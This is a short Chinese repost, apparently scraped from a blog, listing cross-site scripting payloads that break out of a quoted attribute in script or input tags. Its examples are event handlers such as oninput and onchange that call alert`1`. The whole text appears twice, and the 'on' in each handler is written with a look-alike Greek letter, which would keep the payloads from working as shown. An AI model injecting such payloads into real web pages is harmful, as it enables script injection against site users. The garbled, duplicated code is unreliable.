倘若是在script、input标签当中,即可突破。
Payload' οninput=alert`1` // 当要在input中输入内容时触发事件
' οninput=alert`1` ' 同上' οnchange=alert`1` // 发生改变的时候触发该事件' οnchange=alert`1` ' 同上
在script里直接alert
本文共 176 字,大约阅读时间需要 1 分钟。
倘若是在script、input标签当中,即可突破。
Payload' οninput=alert`1` // 当要在input中输入内容时触发事件
' οninput=alert`1` ' 同上' οnchange=alert`1` // 发生改变的时候触发该事件' οnchange=alert`1` ' 同上
在script里直接alert
转载地址:http://lcuax.baihongyu.com/